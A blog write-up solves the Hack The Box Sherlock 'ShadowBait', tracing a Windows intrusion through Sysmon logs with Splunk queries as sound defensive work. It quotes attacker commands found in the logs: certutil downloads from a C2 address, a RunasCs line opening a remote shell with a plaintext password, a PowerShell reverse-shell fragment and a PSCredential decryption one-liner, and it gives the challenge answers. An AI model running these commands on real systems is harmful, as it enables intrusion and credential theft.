← back to blog

Solved ShadowBait from Hack The Box!

🕵️ HTB Sherlock — ShadowBait

Category: DFIR / Digital Forensics & Incident Response Host: MS01.Main.local | Domain: MAIN | Attack Date: 2025-06-07Evidence: KAPE Triage · Sysmon · Windows Events · Hayabusa · Chainsaw Tools: Splunk · Hayabusa · Chainsaw · CyberChef C2 Server: 192.168.204.152


⛓️ Attack Chain Overview

Stage Description
1 — Initial Access Policy.docm downloaded via Chrome → macro executes on open
2 — Stager cmd.exe → powershell.exe → downloader.ps1 → opendll.exe (C2:8899)
3 — Credential Access DPAPI abuse via connection.xml → Samy’s plaintext password recovered
4 — Lateral Movement RunasCs.exe authenticates as Samy (Winter2025!) → remote shell
5 — Privilege Escalation psgetsys.ps1 → base64 reverse shell as SYSTEM (PID 632, C2:9006)
6 — Persistence document.pdf.exe via Run key + NetworkDiagnostics.lnk in Startup

Task 1 & 2 — Initial File & Download URL

Q1: What is the name of the malicious file Steven downloaded? Q2: What URL was it downloaded from?

✅ Answer T1: Policy.docm ✅ Answer T2: https://drive.usercontent.google.com/uc?id=1Y6XAccvtdWvXUGx8WU0qG-7EP781c0uD&export=download

🧠 Thinking Process

A downloaded file leaves two traces: the file itself and its origin URL. Windows captures both via the Zone Identifier — an NTFS Alternate Data Stream (ADS) tagged on every internet-downloaded file. Sysmon captures this as ID 15.

Clue What it means
"downloaded file" → Sysmon ID 15 logs Zone.Identifier ADS creation, embedding the source URL
"from Internet" → Zone = 3 (Internet Zone), logged with ReferrerUrl and HostUrl fields
"Steven / Chrome" → Filter by filename to pinpoint the exact download event

🔍 Key Artifact — Sysmon ID 15

Field Value
Event ID 15 (FileCreateStreamHash — Zone.Identifier)
Timestamp 2025-06-07 05:38:18 UTC
File Path C:\Users\steven\Downloads\Policy.docm:Zone.Identifier
Process chrome.exe
Source URL https://drive.usercontent.google.com/uc?id=1Y6X...
Zone 3 (Internet)
#Splunk Query
index="main" EventID=15 Policy.docm

T1_T2_ID15_Policy_download.png
T1_T2_ID15_Policy_download.png

💡 Lesson: Sysmon ID 15 is the fastest path to “what was downloaded and from where”. It captures the Zone.Identifier ADS that browsers write on every downloaded file — including the full source URL before any execution happens. Always check this first when a question asks about a downloaded file’s origin.


Task 3 — Stager Script Download Timestamp

Q: The document downloaded a script, which acted as a stager and downloaded another payload, providing the attacker with hands-on remote access. When was this script downloaded?

✅ Answer: 2025-06-07 05:42:11 UTC

🧠 Thinking Process

A macro-enabled Office document spawning processes is the classic macro execution pattern. The chain:

Policy.docm → winword.exe → cmd.exe → powershell.exe → downloader.ps1 → disk
Clue What it means
"Office child process" → Sysmon ID 1 filtered by ParentImage=winword.exe reveals cmd.exe spawning
"script download" → ID 1 = execution time; ID 11 (File Creation) = exact moment file hits disk
"stager timestamp" → ID 11 is the ground truth for “when was this file created on disk”

🔍 Key Artifacts

Event Time Description
ID 1 — Execution 05:42:05 cmd.exe launches powershell -ExecutionPolicy Bypass -File downloader.ps1
ID 11 — On Disk 05:42:11 downloader.ps1 written to C:\Users\steven\Downloads\
# Step 1 — Full macro execution chain
index="main" cmd.exe EventID=1 "Details.User"="MAIN\\steven"
| table ExtraFieldInfo.UtcTime, Details.ParentCmdline, Details.Proc, Details.Cmdline
| dedup ExtraFieldInfo.UtcTime

image.png
image.png

# Step 2 — Exact on-disk timestamp
index="main" downloader.ps1 EventID=11

image.png
image.png

💡 Lesson: ID 1 and ID 11 answer different questions. ID 1 = when did the process run. ID 11 = when did the file land on disk. For “when was X downloaded”, always use ID 11.


Task 4 — Final Payload Path

Q: What is the full path of the final payload that provided remote access?

✅ Answer: C:\Users\steven\AppData\Roaming\opendll.exe

🧠 Thinking Process

The stager’s only job is to download and execute a second-stage payload. opendll.exe appeared in the ID 1 process chain from Task 3 — running from a user-writable path, which is immediately suspicious.

Clue What it means
"final payload" → Last executable in the chain before C2 communication
"unusual location" → AppData\Roaming is writable by standard users — red flag for any .exe
"misleading name" → opendll.exe sounds like a system component but lives in a user path

💡 Lesson: Attackers favor AppData\Roaming, AppData\Local\Temp, and ProgramData for payload drops — all writable without admin rights and rarely monitored. Any executable in these paths warrants immediate investigation.


Task 5 — C2 Communication Port

Q: Which port was used for C2 communication by the payload?

✅ Answer: 8899

🧠 Thinking Process

C2 communication = outbound network connection from the payload. Sysmon ID 3 logs every outbound TCP/UDP connection with source process, destination IP, and port. Pairing the known C2 IP with the payload name gives an instant result.

🔍 Key Artifact — Sysmon ID 3

Field Value
Event ID 3 (Network Connection)
Timestamp 2025-06-07 05:48:02 UTC
Process C:\Users\steven\AppData\Roaming\opendll.exe
Destination 192.168.204.152:8899 (TCP)
Direction Outbound (Initiated: true)
index="main" 192.168.204.152 opendll.exe EventID=3

image.png
image.png

💡 Lesson: Always pair **ID 1** (what ran) with ID 3 (where it connected). Together they confirm execution and C2 beaconing. Note the C2 IP immediately — attackers reuse the same infrastructure throughout the entire chain.


Task 6 — DPAPI Credential File

Q: What is the full path of the file Steven created that allowed the attacker to authenticate as Samy via DPAPI abuse?

✅ Answer: C:\Users\samy\Documents\connection.xml

🧠 Thinking Process

First instinct: hunt for DPAPI tools (Mimikatz, SharpDPAPI) — nothing found. Reframe using the question’s language: “file created by Steven before the attack” means this is a legitimate pre-existing artifact, not dropped malware.

Clue What it means
"created and used by Steven" → Look at Steven’s own behaviour, not attacker tooling
"before the attack" → Legitimate file, not malware — check admin activity
"abusing DPAPI" → Export-CliXml encrypts PSCredential under the creating user’s DPAPI master key

If Steven typed these commands interactively, PSReadline recorded every keystroke in ConsoleHost_history.txt.

🔍 Key Artifact — PSReadline History

File: C:\Users\steven\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

cd C:\Users\samy\Documents\
$username = "samy"
$password = Read-Host -Prompt "Enter password for$username" -AsSecureString
$credential = New-Object System.Management.Automation.PSCredential($username, $password)
$credential | Export-Clixml -Path "C:\Users\samy\Documents\connection.xml"

Steven saved Samy’s password as a PSCredential XML file. Export-CliXml encrypts it using Steven’s DPAPI master key — meaning anyone running as Steven can silently decrypt it with Import-CliXml. No external tools needed.

💡 Lesson: PSReadline history is the first place to check for every user involved in an incident. It records all interactive commands — exposing exactly what a legitimate user typed. Export-CliXml is not malicious in isolation, but storing another user’s credentials on disk means any process in the creator’s context can silently recover the plaintext.

Always check: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


Task 7 — Credential Retrieval Command

Q: What is the full command used to grab credentials from the Samy account?

✅ Answer: $cred = Import-Clixml -Path connection.xml

🧠 Thinking Process

Task 6 showed Steven creating the file. The logical mirror: check Samy’s PSReadline history to see how the file was consumed. The attacker, operating as Samy, used native PowerShell to decrypt and extract the plaintext — no external tools.

# Samy's ConsoleHost_history.txt (key entries)
whoami
cd .\Documents\
$cred = Import-Clixml -Path .\connection.xml
$password = $cred.GetNetworkCredential().Password
echo $password
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

🔎 Note: The final reg query checking UAC status is significant — the attacker immediately pivoted to privilege escalation planning after recovering the password.

💡 Lesson: Import-CliXml + GetNetworkCredential().Password is the complete one-liner to recover plaintext from a PSCredential file. Check PSReadline history for ALL users involved, not just the initial victim.


Task 8 — Lateral Movement Download Command

Q: What is the full command used to download the lateral movement tool?

✅ Answer: "C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.204.152/RunasCs.exe RunasCs.exe

🧠 Thinking Process

Attackers use Living-off-the-Land Binaries (LOLBins) — trusted Windows binaries that can download files without triggering AV. The most common: certutil, bitsadmin, powershell (Invoke-WebRequest). Filtering ID 1 by LOLBins + known C2 IP surfaces the exact command instantly.

Clue What it means
"lateral movement tool" → RunasCs.exe — runs processes as another user without interactive logon
"staging server" → Same C2 IP 192.168.204.152 used for all downloads
"certutil -urlcache -f" → Classic LOLBin download one-liner — trusted binary, rarely blocked
source="chainsaw_dump.json" certutil.exe OR powershell.exe Event.System.EventID=1 192.168.204.152
| stats count by Event.EventData.UtcTime, Event.EventData.Image, Event.EventData.CommandLine

image.png
image.png

💡 Lesson: When hunting attacker downloads, always start with LOLBin candidates: certutil, bitsadmin, powershell (IWR/WebClient), curl, wget, mshta. Combine with the known C2 IP as a second filter. certutil -urlcache -f should be alerted on in any environment.


Task 9 — Samy Account Password

Q: What is the password for the Samy account used by the attacker?

✅ Answer: Winter2025!

🧠 Thinking Process

RunasCs.exe accepts credentials as command-line arguments — meaning the plaintext password appears directly in the process invocation. Sysmon ID 1 captures the full CommandLine field including every argument.

source="chainsaw_dump.json" Runascs.exe "Event.System.EventID"=1
# CommandLine found in logs:
"C:\Users\samy\Documents\RunasCs.exe" samy Winter2025! cmd -r 192.168.204.152:555 --bypass-uac --logon-type 8

💡 Lesson: Tools that accept credentials as CLI arguments (RunasCs, runas, psexec, net use) are credential goldmines in forensics — Sysmon ID 1 always captures the full CommandLine. The --bypass-uac flag here directly foreshadows the privilege escalation in Task 11.


Task 10 — Privilege Enumeration Script

Q: After gaining access as Samy, the attacker downloaded a script to check privileges. What is its name?

✅ Answer: psgetsys.ps1

🧠 Thinking Process

Post-lateral-movement, attackers always enumerate privileges before escalating. Reuse the same LOLBin query from Task 8, but filter by user samy — the attacker reused the same C2 and download method.

source="chainsaw_dump.json" certutil.exe OR powershell.exe Event.System.EventID=1 192.168.204.152 samy
| stats count by Event.EventData.UtcTime, Event.EventData.User, Event.EventData.Image, Event.EventData.CommandLine
# Result:
certutil -urlcache -f http://192.168.204.152/psgetsys.ps1 psgetsys.ps1

💡 Lesson: Attackers follow a predictable post-compromise loop: enumerate → escalate → persist. psgetsys.ps1 is a known SeImpersonatePrivilege / token privilege enumeration script. Build query templates once and reuse with different user filters — the attacker reuses the same infrastructure, so the same template surfaces every stage.


Task 11 — Elevated Remote Shell PID

Q: The attacker exploited a Windows process to gain an elevated remote shell. What is the PID?

✅ Answer: 632

🧠 Thinking Process

Two constraints define the target: a native Windows process running with SYSTEM integrity. Filter ID 1 by User = NT AUTHORITY\SYSTEM — this cuts through all noise. A base64 -e flag in ParentCommandLine is the near-certain signature of a PowerShell reverse shell.

Clue What it means
"Windows process" → Native OS binary — not a dropped executable
"elevated" → Filter by User = NT AUTHORITY\SYSTEM or IntegrityLevel = System
"remote shell" → Look for base64 -e in CommandLine/ParentCommandLine
source="chainsaw_dump.json" powershell.exe "Event.System.EventID"=1
"Event.EventData.User"="NT AUTHORITY\\SYSTEM"

image.png
image.png

🔍 Key Fields from Result

Field Value
ParentProcessId 632 ← THE ANSWER
ParentImage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User NT AUTHORITY\SYSTEM
IntegrityLevel System
Timestamp 2025-06-07 07:08:33 UTC

💡 Lesson: The answer is the ParentProcessId, not the ProcessId of the spawned shell. The parent = the exploited Windows process; the child = the elevated shell it spawned. When hunting elevated shells, filter ID 1 by User=SYSTEM first — it eliminates all noise instantly.


Task 12 — Elevated Shell C2 Port

Q: Which port was used for remote access with escalated privileges?

✅ Answer: 9006

🧠 Thinking Process

Decode the base64 ParentCommandLine from Task 11. PowerShell encoded commands use UTF-16LE — the iconv step is mandatory.

image.png
image.png

# Decode PowerShell base64 payload (Linux)
echo "<base64string>" | base64 -d | iconv -f UTF-16LE -t UTF-8
# Decoded payload (key line):
$client = New-Object System.Net.Sockets.TCPClient("192.168.204.152", 9006);
$stream = $client.GetStream();
# reads commands → executes via iex → sends output back over TCP

🔎 Note: Port 9006 (elevated shell) vs port 8899 (first stage) — the attacker deliberately separated initial access beaconing from privileged C2 traffic.

💡 Lesson: Always decode base64 PowerShell payloads immediately — they always reveal C2 infrastructure. PowerShell -e commands use UTF-16LE (wide character) encoding. Use CyberChef: From Base64 → Decode Text (UTF-16LE) as an alternative to the terminal.


Task 13 — Persistence: Backdoor Executable

Q: What is the full path of the backdoor executable enabled for persistence?

✅ Answer: C:\Windows\system32\document.pdf.exe

🧠 Thinking Process

Start persistence hunting broad — aggregate all Hayabusa rule titles tagged persistence to see the full scope before drilling into individual events.

# Splunk Query Step 1 — Scope survey
source="hayabusa.json" persistence | stats count by RuleTitle

# Step 2 — Drill into process creation
source="hayabusa.json" persistence EventID=1

image.png
image.png

image.png
image.png

🔎 Note: document.pdf.exe is a double-extension masquerade — with Windows hiding known extensions (the default), this appears to users as document.pdf.

💡 Lesson: Start persistence hunting with a RuleTitle aggregation — it maps the full scope in one query before you dive into individual events. Double-extension masquerading (.pdf.exe, .docx.exe) exploits the Windows default of hiding file extensions.


Task 14 — Rogue Shortcut Filename

Q: What is the name of the rogue shortcut file placed by the attacker?

✅ Answer: NetworkDiagnostics.lnk

🧠 Thinking Process

Shortcut persistence = a .lnk file dropped in a Startup folder. Aggregate all .lnk file paths in logs — anomalies in Startup folders stand out immediately.

#Splunk Query
index="main" source="hayabusa.json" *.lnk | stats count by Details.Path
# Suspicious result:
C:\Users\samy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetworkDiagnostics.lnk

💡 Lesson: Aggregate .lnk paths with stats count by — anomalies in Startup folders are immediately obvious in a list. The legitimate-sounding name (NetworkDiagnostics) is deliberate social engineering. Always verify the shortcut target, not just its name.


Task 15 — Persistence Script Path

Q: What is the full path of the script that created the shortcut?

✅ Answer: C:\programdata\wscript.vbs

🧠 Thinking Process

The shortcut was created pro grammatically. Two-step timestamp pivot:

  1. ID 11 reveals when the .lnk was created and what process wrote it
  2. ID 1 at that exact timestamp reveals what script invoked that process
Clue What it means
"script created shortcut" → cscript.exe or wscript.exe running a .vbs file = classic .lnk creation method
"at 06:05:25" → ID 11 gives creation timestamp; ID 1 at same second gives the parent script
"SYSTEM context" → Filter by NT AUTHORITY\SYSTEM to stay in the attacker’s execution context
# Step 1 — Find when .lnk was created (ID 11)
index="main" source="chainsaw_dump.json" .lnk Event.EventData.User="NT AUTHORITY\\SYSTEM"
| table Event.EventData.UtcTime, Event.EventData.Image, Event.EventData.TargetFilename
# → cscript.exe wrote NetworkDiagnostics.lnk at 2025-06-07 06:05:25

# Step 2 — Pivot to ID 1 at that exact timestamp
index="main" source="chainsaw_dump.json" *.vbs OR *.ps1
Event.EventData.User="NT AUTHORITY\\SYSTEM" Event.System.EventID=1
"Event.EventData.UtcTime"="2025-06-07 06:05:25.*"

image.png
image.png

image.png
image.png

# CommandLine found:
"C:\Windows\system32\cscript.exe" C:\programdata\wscript.vbs

💡 Lesson: Timestamp pivoting is the most powerful DFIR technique. Once ID 11 gives you the exact second a file was created, pivot to ID 1 at that same second to find the spawning process and its parent script. ProgramData is a world-writable persistent location — scripts dropped there survive reboots and are accessible to all users.


📋 Master Reference

Full Attack Timeline

Time (UTC) Event ID Description
05:38:18 ID 15 Policy.docm downloaded via Chrome from Google Drive (Zone=3)
05:40:58 ID 1 winword.exe → cmd.exe (macro execution)
05:42:05 ID 1 powershell -ExecutionPolicy Bypass -File downloader.ps1
05:42:11 ID 11 downloader.ps1 created on disk
05:48:02 ID 3 opendll.exe beacons to 192.168.204.152:8899 (first C2)
Pre-attack KAPE Steven creates connection.xml via Export-CliXml (Samy’s PSCredential)
05:37:36 ID 12289 DPAPI decryption — Steven’s context decrypts credential blob
~06:00 ID 1 certutil downloads RunasCs.exe from C2 (as Steven)
~06:00 ID 1 RunasCs.exe samy Winter2025! cmd -r 192.168.204.152:555 --bypass-uac
~06:01 ID 1 certutil downloads psgetsys.ps1 (as Samy)
06:03:22 ID 1/4688 reg.exe adds document.pdf.exe to HKCU Run key
06:05:25 ID 11 cscript.exe runs wscript.vbs → NetworkDiagnostics.lnk in Startup
07:08:33 ID 1 powershell -e <base64> as SYSTEM, PID 632 → C2: 192.168.204.152:9006

Sysmon Event ID Quick Reference

ID Name Key Fields
1 Process Creation Image, CommandLine, ParentImage, User, IntegrityLevel, ProcessId
3 Network Connection DestinationIp, DestinationPort, Image, Initiated
11 File Creation TargetFilename, Image, CreationUtcTime
15 FileCreateStreamHash TargetFilename, ReferrerUrl, HostUrl (Zone.Identifier)
4688 Process Creation (Security) Non-Sysmon environments
4103 PowerShell Module Logging Full pipeline, Host Application, CommandLine
4104 PowerShell Script Block Full script content captured
12289 DPAPI Operational CredKeyIdentifier, UserName, ProcessID

Key IOCs

IOC Value
C2 IP 192.168.204.152
C2 Ports 8899 (opendll first stage) · 9006 (SYSTEM reverse shell) · 555 (RunasCs)
Initial Payload Policy.docm (Google Drive)
Stager downloader.ps1 (ExecutionPolicy Bypass)
RAT opendll.exe at C:\Users\steven\AppData\Roaming\
Lateral Tool RunasCs.exe at C:\Users\samy\Documents\
Priv Script psgetsys.ps1
Backdoor document.pdf.exe at C:\Windows\system32\ (double-ext masquerade)
Persistence LNK NetworkDiagnostics.lnk in Samy’s Startup folder
Persistence Reg HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MMSVC
VBS Script C:\programdata\wscript.vbs
Cred File C:\Users\samy\Documents\connection.xml (PSCredential, DPAPI-encrypted)

Reusable Query Templates

# Download origin (what file, from where, which browser)
index="main" EventID=15 <filename>

# Office macro execution chain
index="main" EventID=1 ParentImage=*winword.exe*

# File on-disk timestamp
index="main" EventID=11 <filename>

# LOLBin download from known C2
EventID=1 (certutil.exe OR powershell.exe) <C2_IP>

# Tool execution — credentials in CommandLine
EventID=1 <tool>.exe

# Elevated process (SYSTEM context)
EventID=1 User="NT AUTHORITY\\SYSTEM"

# Network connection from process to C2
EventID=3 <process>.exe <C2_IP>

# Timestamp pivot — what ran at the exact second a file was created
EventID=1 "UtcTime"="YYYY-MM-DD HH:MM:SS.*"

# Persistence rule survey (Hayabusa)
source="hayabusa.json" persistence | stats count by RuleTitle

# Shortcut file location audit
source="hayabusa.json" *.lnk | stats count by Details.Path

PSReadline History — Always Check These

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Check for every user involved in the investigation — not just the initial victim.


HTB Sherlock: ShadowBait — DFIR Investigation Notes